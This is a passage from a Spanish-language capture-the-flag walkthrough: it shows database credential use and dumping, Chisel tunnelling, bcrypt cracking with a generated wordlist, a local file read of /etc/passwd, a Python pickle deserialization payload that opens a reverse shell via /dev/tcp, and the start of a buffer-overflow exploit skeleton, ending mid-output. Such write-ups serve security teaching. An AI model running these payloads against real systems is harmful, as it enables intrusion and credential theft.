mysql -u db_manager -pHeig9At, -h 127.0.0.1
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FFbpVsOHdsUs91P82wiZH%2Fimg_21_buffered.png?alt=media&amp;token=67fae360-a58d-46b6-a97a-536e6d80f7d7" alt=""><figcaption></figcaption></figure>

La autenticación funciona. Ahora enumeraré las bases de datos disponibles con el siguiente comando:

```mysql
show databases;
```

Entre los esquemas mostrados aparece **`myflaskapp`**, que parece corresponder a la aplicación web analizada.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F5glNjRRHNZHgTTAo7kQb%2Fimg_22_buffered.png?alt=media&amp;token=6ae57a82-7cd5-4ff5-a986-c744926f32a9" alt=""><figcaption></figcaption></figure>

Podemos usar el comando:

```js
show tables;
```

El esquema contiene tablas como `users` y `users_old`. Empezaré revisando `users`:

```js
select * from users;
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FDY8VuXBlJCnAM5hjSUO6%2Fimg_23_buffered.png?alt=media&amp;token=e54b6c79-2926-4e43-91a9-8c92b9954cf5" alt=""><figcaption></figcaption></figure>

La primera tabla contiene cuentas utilizadas en el dashboard. `users_old` parece conservar registros anteriores, pero hay que examinar su contenido antes de afirmar su propósito. Guardaré los datos relevantes como evidencia del laboratorio.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FewUFZYZce10KvzU8rCVH%2Fimg_24_buffered.png?alt=media&amp;token=61fa35e1-4af2-4ab6-a7f3-3932ff12c413" alt=""><figcaption></figcaption></figure>

Lo pondremos dentro de un archivo llamado `db.txt`.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FZRPpEw4rJ1baYDhaxifU%2Fimg_25_buffered.png?alt=media&amp;token=e839876a-ce18-4951-9f32-c86e856be2a0" alt=""><figcaption></figcaption></figure>

Como estamos conectados como **`wilson`**, continuaré buscando archivos a los que este usuario tenga acceso mediante `find`.

```bash
find . -type f -user wilson 2>/dev/null | grep -vE 'proc|sys|home'
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FbsNLTWhd1QPRnpvtcREE%2Fimg_26_buffered.png?alt=media&amp;token=2d78839f-ca0f-4141-bc55-5f82369835a8" alt=""><figcaption></figcaption></figure>

> El comando busca archivos y filtra determinadas rutas en la presentación de resultados. Esto ayuda a reducir ruido, aunque la expresión de `grep` también puede excluir rutas cuyo nombre contenga las cadenas filtradas.

Encuentro un correo relacionado con **Christine**, identificada en el mensaje como **Site Admin**. Es una pista sobre sus funciones, no una confirmación de privilegios en todos los servicios.

Nos copiamos este **email** en nuestra maquina.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FgLi51Qp3dhkacU7jjlbM%2Fimg_27_buffered.png?alt=media&amp;token=2cd45e88-e102-4000-a79f-1709de356827" alt=""><figcaption></figcaption></figure>

Continuaré con la enumeración de servicios que escuchan **localmente** en el objetivo. Es posible que existan puertos inaccesibles desde mi máquina atacante debido a la interfaz en la que están enlazados.

```bash
netstat -punta # No disponible en el servidor
```

```bash
ss -tuln
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FumLpSP1Jh4G8QmOrgSDg%2Fimg_29_buffered.png?alt=media&amp;token=104372e2-1ebd-4aa2-aa2e-06fe85b3257c" alt=""><figcaption></figcaption></figure>

Los nuevos puertos que encontramos son:

* 5000
* 5555 Para acceder desde mi equipo a estos servicios internos utilizaré **Chisel**. En este caso estableceré **reenvíos inversos de puertos TCP**, no una ruta IP general hacia toda la red. Primero prepararé el binario y un servidor temporal para transferirlo.

Después descargaré Chisel en la máquina del laboratorio con `curl` y le asignaré permisos de ejecución en `/tmp`, comprobando que el binario corresponda a la arquitectura del sistema.

```bash
php -S 0.0.0.0:80
```

```bash
python3 -m http.server 80
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FE1JTCcYxRglG829RNvIO%2Fimg_30_buffered.png?alt=media&amp;token=d2752249-0e15-4c13-8cd0-6f17f7d385d9" alt=""><figcaption></figcaption></figure>

Iniciaré **Chisel en modo servidor** en la máquina atacante, habilitando los reenvíos inversos:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FhOmZ3VOncn4eFcInpTij%2Fimg_31_buffered.png?alt=media&amp;token=f0503a44-107a-43fc-a729-330c1e1c1faf" alt=""><figcaption></figcaption></figure>

Desde la víctima iniciaré el **cliente Chisel** y conectaré los puertos internos indicados con puertos accesibles localmente en mi equipo.

```js
./chisel server --reverse -p 33
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FmDj7MEUk2f2QCYstyfG1%2Fimg_32_buffered.png?alt=media&amp;token=80f16e31-2e4d-45b9-8713-54cf8f9409f5" alt=""><figcaption></figcaption></figure>

En la máquina atacante puedo comprobar las conexiones del túnel y revisar si los puertos se encuentran disponibles.

```js
./chisel client 172.17.0.1:33 R:5000:127.0.0.1:5000 R:9000:127.0.0.1:9000 R:5555:127.0.0.1:5555 2>/dev/null & disown
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FsngyREiGPBaNEkFHZUrM%2Fimg_33_buffered.png?alt=media&amp;token=e9af3c57-aa0d-45c3-94c2-7dd6bdf1cc10" alt=""><figcaption></figcaption></figure>

Una vez activo el reenvío, usaré **Nmap** contra los puertos locales publicados por Chisel. El resultado describe el servicio alcanzado a través del túnel, no demuestra que el objetivo exponga directamente esos puertos a la red externa.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FGz4KJEEX8mmq8OI0cx3i%2Fimg_34_buffered.png?alt=media&amp;token=afe5e452-10fa-4b45-b66e-e796d40fadcf" alt=""><figcaption></figcaption></figure>

Los puertos **5000 y 5555** parecen corresponder a aplicaciones web, mientras que el **9000** responde como un servicio diferente que podría ejecutarse mediante un binario.

```js
nmap -p 5000,9000,5555 -sCV 127.0.0.1 -oN targeted.txt
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FUh0QXNXoY4DXFwlFJPgq%2Fimg_35_buffered.png?alt=media&amp;token=aa09d513-ddb5-48b8-9dde-fb524b7debfd" alt=""><figcaption></figcaption></figure>

Los 2 primeros parecen ser paginas web levantadas rápidamente con `python` y el ultimo pareciera ser un binario en escucha por el puerto **9000**:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F1g5KwPdfJMe8qy3QhwRx%2Fimg_36_buffered.png?alt=media&amp;token=9a650173-f8e4-4790-9d16-7b698677a036" alt=""><figcaption></figcaption></figure>

El puerto 5000 muestra el dashboard ya analizado. En el 5555 encontramos un panel de autenticación distinto.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F7CiXbXyfRb0oAML8IbVF%2Fimg_38_buffered.png?alt=media&amp;token=29e36991-3244-4ee5-934e-d1e3bb7afb15" alt=""><figcaption></figcaption></figure>

El puerto 9000 responde con referencias a **Buffer**, lo que podría ser una pista de un ejercicio de corrupción de memoria. Para investigarlo con rigor necesitaremos obtener el ejecutable y analizarlo.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2Fhx7LPaB3cubS0QHOjwz1%2Fimg_39_buffered.png?alt=media&amp;token=fd31d352-7b55-431e-99b1-cadbf34f77de" alt=""><figcaption></figcaption></figure>

El correo anterior relacionaba a **Christine** con tareas de administración del sitio. Las contraseñas de prueba y las entradas de inyección utilizadas hasta aquí no han mostrado un comportamiento explotable.

```bash
nc 127.0.0.1 9000
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F0tZ8BqQjrl58IxhxAjVf%2Fimg_40_buffered.png?alt=media&amp;token=2cb8abf4-f54d-41bb-86e0-010f31a6ff64" alt=""><figcaption></figcaption></figure>

Volveré al archivo **`.pwgen.py`**, ya que su formato parece relacionado con contraseñas generadas automáticamente.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FW05gDGW9Et02iRnjgiZa%2Fimg_44_buffered.png?alt=media&amp;token=854afaee-f48b-49c6-a1ba-9b89c2768804" alt=""><figcaption></figcaption></figure>

Como conocemos el nombre completo de Christine a partir de las evidencias recogidas, proporcionaré esos datos al script del laboratorio.

```js
python pwgen.py
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F7h3dyMTBckhSb9vloKcH%2Fimg_45_buffered.png?alt=media&amp;token=f39f0224-fc49-4f04-81dd-b41678dc679d" alt=""><figcaption></figcaption></figure>

Ya que anteriormente habíamos echo una lista de usuarios, tenemos el nombre completo de **Christine**, por lo tanto ingresamos esos datos al **script**.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FsUbhrgOv3VBZsIPk25yb%2Fimg_46_buffered.png?alt=media&amp;token=54761583-e2c4-4187-aaeb-1f77fc55f4cb" alt=""><figcaption></figcaption></figure>

La cadena obtenida constituye una **hipótesis sobre el formato de contraseña**, no una credencial completa confirmada. Para comprobarla, construiré un diccionario compatible con el patrón y lo contrastaré con el hash almacenado en la base de datos.

```js
c.ross@buffered_833407
```

La siguiente orden genera valores numéricos de **000000 a 999999**, con relleno de ceros a la izquierda, y los incorpora al prefijo conocido.

Usaremos el comando `printf` para generar al final de la cadena que ya tenemos números desde **000000** hasta **999999**:

```bash
printf "c.ross@buffered_%06d\n" {0..999999} > wordlist.txt
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F7x0XKIl0SFgnijKPDwbW%2Fimg_47_buffered.png?alt=media&amp;token=8a167db0-89f7-4feb-b094-28bb3299dbd8" alt=""><figcaption></figcaption></figure>

> El script utiliza ceros a la izquierda para mantener la longitud de la parte numérica. Por eso el formato `%06d` es importante.

Revisaré las primeras y últimas líneas del diccionario antes de probarlo contra el hash recuperado.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F1DFSYiyhvW6se50Vdil7%2Fimg_49_buffered.png?alt=media&amp;token=0be939b1-2ee3-4b18-805d-96cbdbc36c23" alt=""><figcaption></figcaption></figure>

> Escapamos los `$` con `\`.

Ahora debemos identificar que tipo de **hash** es, en este caso usaremos `hashid`.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FbN7aSHn56hrJLAS3wztL%2Fimg_50_buffered.png?alt=media&amp;token=ac00d054-b3c7-4db6-a788-9f579e9d3a1d" alt=""><figcaption></figcaption></figure>

`hashid` sugiere que el formato del hash podría corresponder a **bcrypt**. Las herramientas de identificación proporcionan indicios; conviene confirmarlo por la estructura y los prefijos del hash antes de escoger el modo de John the Ripper.

La prueba devuelve una contraseña coincidente para el hash de este laboratorio:

```js
john --format=bcrypt --wordlist=wordlist.txt hash --fork=4
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FsvuvM8Rc9m1P4IVVyIwP%2Fimg_51_buffered.png?alt=media&amp;token=3fb410ae-5864-4dd4-9791-7a96cf17f193" alt=""><figcaption></figcaption></figure>

Y listo ya tenemos la contraseña correcta:

```js
c.ross@buffered_001337
```

Ahora podemos iniciar sesión en el panel administrativo con las credenciales recuperadas.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FuY9bAGklVb8WVrHgxXwk%2Fimg_52_buffered.png?alt=media&amp;token=12736d25-e4d3-4202-90c1-5e88def52d8a" alt=""><figcaption></figcaption></figure>

La pagina completa seria:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FGhrJeIheXpTaQ45LOE0y%2Fimg_53_buffered.png?alt=media&amp;token=121772cf-34b0-4b26-aa1d-f726f74e42f0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FztZFKiRtQN9osC9dNn5v%2Fimg_54_buffered.png?alt=media&amp;token=c979cd59-5248-4e3b-a7a4-5e7c9ebc0302" alt=""><figcaption></figcaption></figure>

En la parte inferior aparecen campos de entrada cuyo comportamiento no es evidente en la primera inspección.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FRRqWSrCEVbY1ByjRLZUT%2Fimg_55_buffered.png?alt=media&amp;token=90e29a68-f1dc-4f96-b8a3-91663ae188fb" alt=""><figcaption></figcaption></figure>

Por ultimo también tenemos un botón que nos descarga un archivo llamado `logins.txt`:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FddgBbnNPho4zWq4tZPf0%2Fimg_56_buffered.png?alt=media&amp;token=df853504-f521-453b-8bde-1b3e9f7416e1" alt=""><figcaption></figcaption></figure>

El panel permite descargar **`logins.txt`**, con registros de intentos de acceso. Examinaré la petición HTTP para comprobar si el servidor permite manipular el archivo solicitado y producir una **lectura local de archivos (LFI)**.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FyVjcgLu4fHCFKMNKlepF%2Fimg_57_buffered.png?alt=media&amp;token=560c31eb-da41-4863-9f67-603c9f946400" alt=""><figcaption></figcaption></figure>

Al interceptar la solicitud, modificaré el valor que identifica el archivo para solicitar **`/etc/passwd`**. La prueba permite comprobar si el servidor restringe correctamente las rutas accesibles.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FXW30IdowApHOhO8ECz6a%2Fimg_58_buffered.png?alt=media&amp;token=fe95be31-6368-4ce0-bec6-a1d1c199fe64" alt=""><figcaption></figcaption></figure>

Al darle a **Forward**, vemos que se descarga el archivo con el mismo nombre `logins.txt`.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FqtF1RCdFInlMSlKlzMGD%2Fimg_59_buffered.png?alt=media&amp;token=2aed4421-c246-4cd3-942a-0e7960067fcd" alt=""><figcaption></figcaption></figure>

Al inspeccionar el archivo descargado, confirmamos que contiene información propia de `/etc/passwd`, lo que evidencia una **lectura de archivos locales** en el laboratorio. El nombre de descarga no demuestra por sí solo el contenido: la comprobación está en los bytes devueltos.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FEBMWMOgLd0GYK3XaTb3H%2Fimg_60_buffered.png?alt=media&amp;token=ff0e1c6e-6f78-4319-acae-e7991012ece7" alt=""><figcaption></figcaption></figure>

En este archivo aparecen cuentas como **wilson, christine y tyler**. Su presencia no permite deducir automáticamente qué archivos podemos leer; los permisos y el contexto de ejecución determinan el acceso. Continuaré buscando procesos interesantes.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2Fsw8zmcTpyZVZTkdJOhRd%2Fimg_61_buffered.png?alt=media&amp;token=1a007a88-4290-4ec5-aa36-b1e7ce859669" alt=""><figcaption></figcaption></figure>

> En este caso uso el modulo de `pwncat-cs`.

También podemos usar el comando:

```bash
ps faux
```

Encuentro que **christine** ejecuta una aplicación Python (`app.py`). Una vez identificada su ruta, intentaré recuperarla mediante el LFI para analizar su lógica.

```js
/home/christine/.site/APP_3411/app.py
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F5KzBYmQ0yDf4275fS3VV%2Fimg_62_buffered.png?alt=media&amp;token=02d8ffd2-3fe3-4523-87cf-537cdf1abb8c" alt=""><figcaption></figcaption></figure>

Le cambiamos el nombre al archivo:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FXVXDDd4goyTkWmXObRtm%2Fimg_63_buffered.png?alt=media&amp;token=db82414c-aa12-41d4-aae6-3ed0f686863b" alt=""><figcaption></figcaption></figure>

El archivo contiene parámetros de conexión a otra base de datos, que podrían resultar relevantes para seguir investigando el laboratorio.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FNZcWRyeBeMvIxFzqfCTB%2Fimg_64_buffered.png?alt=media&amp;token=d3ed5b08-7a44-4d06-a0ef-de5a53849ebb" alt=""><figcaption></figcaption></figure>

En una función observo que el parámetro **`mydata`** se decodifica de Base64 y después se pasa a **`pickle.loads()`**. Deserializar con `pickle` datos controlados por el usuario es peligroso porque puede **ejecutar código arbitrario durante la reconstrucción de objetos**. No se trata simplemente de una forma de leer datos codificados.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FzrGpnRjDeBbYt30FxOrV%2Fimg_65_buffered.png?alt=media&amp;token=59f1f503-eb0e-438a-9104-a0263b7b6680" alt=""><figcaption></figcaption></figure>

Los campos **nombre del producto, review y rating** parecen corresponder al formulario del panel. En la siguiente captura se observan los datos enviados por **POST**, mientras que investigaremos cómo se procesa `mydata`.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F1MvkiUX72yYWwGaLPFfz%2Fimg_66_buffered.png?alt=media&amp;token=3da0fadd-4f1e-43b6-b920-177c611f488b" alt=""><figcaption></figcaption></figure>

Para validar el riesgo de la deserialización insegura en este entorno CTF, prepararé un objeto que aprovecha el método **`__reduce__`** de Python y genera los bytes serializados que recibirá `pickle.loads()`.

{% code lineNumbers="true" %}

```python
 #!/usr/bin/env python3
 
 import pickle
 import base64
 import os
 
 class Exploit:
     def __reduce__(self):
         return(os.system, ('bash -c "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1"',))
 
 payload = pickle.dumps(Exploit())
 encoded_payload = base64.b64encode(payload).decode('utf-8')
 print(encoded_payload)
```

{% endcode %}

Ejecutaré el script de prueba para comprobar el resultado generado.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2Fl2M6ui5t8AoG6v5xoPhS%2Fimg_67_buffered.png?alt=media&amp;token=dd70d7ee-294e-443c-8ab8-66e269d66ad0" alt=""><figcaption></figcaption></figure>

Enviaré la solicitud **POST** a la aplicación mediante `curl`, incluyendo los campos documentados en la captura.

* Enviaré los datos mediante el método **POST**.
* Con `-b` proporcionaré la **cookie de sesión** necesaria para realizar esta prueba autenticada.
* Con `-F` enviaré los campos como **multipart/form-data**.

Prepararé otro listener de **pwncat-cs** en el puerto **1234** para observar la conexión de retorno del laboratorio.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FoR4rGTJYZIEHIh5kEPoH%2Fimg_68_buffered.png?alt=media&amp;token=370bf15d-8dd2-4471-b2e0-9c81b5521bad" alt=""><figcaption></figcaption></figure>

Al enviar la petición de prueba, el listener recibe una nueva sesión, lo que confirma la ejecución del código en el contexto de esa aplicación.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FGBzwQFiCPeGrw4fqGkqQ%2Fimg_69_buffered.png?alt=media&amp;token=ef069b9a-bd1d-4ea0-b754-21d420e2fb3d" alt=""><figcaption></figcaption></figure>

Con `sessions --list` podemos revisar las sesiones gestionadas por pwncat-cs e identificar cuál corresponde al acceso recién obtenido.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FYbUMfh5GjjzopgSrLFlA%2Fimg_70_buffered.png?alt=media&amp;token=affb9ee8-2cd8-43d0-ab81-23dc38e64285" alt=""><figcaption></figcaption></figure>

En la nueva sesión aparece el usuario **`christine`**. La salida de `id` también muestra pertenencia al grupo **`ftp`**, una pista para enumerar permisos sobre archivos y directorios.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FK9Qtq1AgX6VbX8PAp9ao%2Fimg_71_buffered.png?alt=media&amp;token=6eb3c7db-e606-47fe-87a7-92a82f7fd0e7" alt=""><figcaption></figcaption></figure>

Buscaré recursos cuyo grupo propietario sea **`ftp`** utilizando `find`:

```bash
find / -group ftp 2>/dev/null
```

**Resultado**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F1nzpwmj5gWz5at59Igtz%2Fimg_72_buffered.png?alt=media&amp;token=f91f8ddb-d715-4db8-af3b-0dde8e3b41e6" alt=""><figcaption></figcaption></figure>

En `/ftp` aparece un ejecutable cuyo nombre se parece al servicio observado en el puerto **9000**. Lo descargaré para comprobar si corresponde al mismo programa.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FpuGxOR6RMVZmluUJwJpp%2Fimg_73_buffered.png?alt=media&amp;token=66db296a-f161-48f9-ae71-9a66ab92b340" alt=""><figcaption></figcaption></figure>

Ahora lo ejecutaremos.

> En mi caso realizaré el análisis dentro de un contenedor Docker con una imagen de Kali y las herramientas necesarias para **ingeniería inversa**.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FBfYn8yhfTPqoMEfbqFVE%2Fimg_74_buffered.png?alt=media&amp;token=adf9098b-dc54-47b8-aff4-fdcadc266f53" alt=""><figcaption></figcaption></figure>

Estando dentro del contenedor y después de darle permisos de ejecución podemos ejecutar el binario:

```bash
./bufferbot
```

**Resultado**

```bash
Server is listening on port 9000
```

El comportamiento es compatible con el servicio del puerto 9000. Me conectaré mediante `nc` para comparar las respuestas.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F7dK9QFxCLP1yQzMGG1hw%2Fimg_75_buffered.png?alt=media&amp;token=1a02d360-f54f-4634-94c3-942ee7cc3c47" alt=""><figcaption></figcaption></figure>

```bash
file bufferbot
```

**Resultado**

```js
bufferbot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=05901d675607336b0810e7f6aa491fab899737c3, for GNU/Linux 3.2.0, not stripped
```

El comando `file` identifica un binario **ELF Linux i386 de 32 bits**. Continuaré el análisis con **GDB**.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FkHsJ7jmSy0vC5sAX990y%2Fimg_76_buffered.png?alt=media&amp;token=4e7ffba9-c6f6-49a0-ae30-61fe2cdc8fa4" alt=""><figcaption></figcaption></figure>

Ejecutaré el binario bajo GDB y enviaré una entrada larga para estudiar cómo maneja datos que superan la longitud habitual.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FKakN5WSXLhCuE8lGXvZs%2Fimg_77_buffered.png?alt=media&amp;token=6e2325b3-40c1-48aa-a923-d388ec6e1bf5" alt=""><figcaption></figcaption></figure>

Luego enviamos muchas `AAAA` mediante `nc`:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FuPOyE0SISmNXzqU0OyyN%2Fimg_78_buffered.png?alt=media&amp;token=217fef59-dcba-4dd3-a004-0fb3bd3ff9a1" alt=""><figcaption></figcaption></figure>

La prueba muestra corrupción de memoria compatible con un **Buffer Overflow**. Una caída del proceso, por sí sola, no demostraría el control del flujo de ejecución; por eso examinaremos el estado de los registros.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FPMxjUYz095w27b15ULQM%2Fimg_79_buffered.png?alt=media&amp;token=677a0089-477e-4fb6-9f7f-f56b71211cf1" alt=""><figcaption></figcaption></figure>

> Si quiere saber más sobre **Buffer Overflow** puede ver [Introducción al Buffer Overflow](https://novahacking.gitbook.io/anonymous17/articulos/introduccion-al-buffer-overflow).

Ahora comprobaré las mitigaciones del ejecutable. El resultado de `checksec` orienta el análisis, pero **no determina por sí solo si una vulnerabilidad es explotable**.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FKCD7BWXQRIcYrCSzsPys%2Fimg_80_buffered.png?alt=media&amp;token=17297bf5-1364-4aa7-89c9-97b07b5de588" alt=""><figcaption></figcaption></figure>

Las mitigaciones observadas en este binario permiten estudiar una técnica de **inyección de shellcode en el stack**. Prepararé primero la estructura básica del exploit, respetando los resultados de GDB.

{% code lineNumbers="true" %}

```python
#!/usr/bin/python3

from pwn import *

def exploit():
    host="127.0.0.1"  # IP a conectar
    port=             # Puerto a conectar

    offset =    # Tamaño exacto antes de EIP
    buffer =    # Relleno antes de sobrescribir EIP
    eip =       # Dirección de jmp ESP en little-endian para 32-bit
    nops =      # NOP sled para estabilidad

    # Shellcode generado con msfvenom

    # Estructura final del payload
    esp = nops + shellcode         # NOP sled seguido del shellcode
    payload = buffer + eip + esp   # Buffer final

    # Envío del exploit al servicio objetivo
    try:
        print("\n[*] Iniciando Ataque...")
        conn=remote(host,port)
        conn.sendline(payload)
        conn.close()
        print("[+] Payload enviado correctamente!!!\n")
    except Exception as e:
        print(f"\n[-] Error al enviar el payload: {e}\n")

if __name__ == '__main__':
    exploit()
```

{% endcode %}

Como el laboratorio indica que el stack es ejecutable, estudiaré un enfoque de **shellcode injection**. Para calcular la distancia hasta la sobrescritura de **EIP**, utilizaré `pattern create` de **GEF**. El primer patrón tiene **1024 bytes**, pero el tamaño debe ser suficiente para alcanzar el valor que queremos medir.

```bash
pattern create
```

**Resultado**

```js
[+] Generating a pattern of 1024 bytes (n=4)
